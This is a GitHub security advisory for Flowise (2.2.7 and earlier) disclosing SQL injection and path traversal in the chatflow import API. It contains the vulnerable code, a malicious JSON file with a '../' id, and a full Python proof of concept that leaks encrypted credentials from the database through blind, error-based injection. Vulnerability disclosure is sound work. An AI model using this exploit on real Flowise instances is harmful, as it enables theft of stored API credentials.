Skip to content

FlowiseDB vulnerable to SQL Injection by authenticated users

Moderate severity GitHub Reviewed Published Apr 7, 2025 in FlowiseAI/Flowise • Updated Apr 7, 2025

Package

npm flowise (npm)

Affected versions

<= 2.2.7

Patched versions

None

Description

Summary

import functions are vulnerable.

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type)

  1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.
    {
      "Chatflows": [
        {
          "id": "../../../../../../apikey",
          "name": "clickme",
          "flowData": "{}"
        }
      ]
    }
  2. Victim download this file, and import this to flowise.
  3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type)
importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement

References

@HenryHengZJ HenryHengZJ published to FlowiseAI/Flowise Apr 7, 2025
Published to the GitHub Advisory Database Apr 7, 2025
Reviewed Apr 7, 2025
Last updated Apr 7, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

EPSS score

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-9c4c-g95m-c8cp

Source code

Credits

See something to contribute? Suggest improvements for this vulnerability.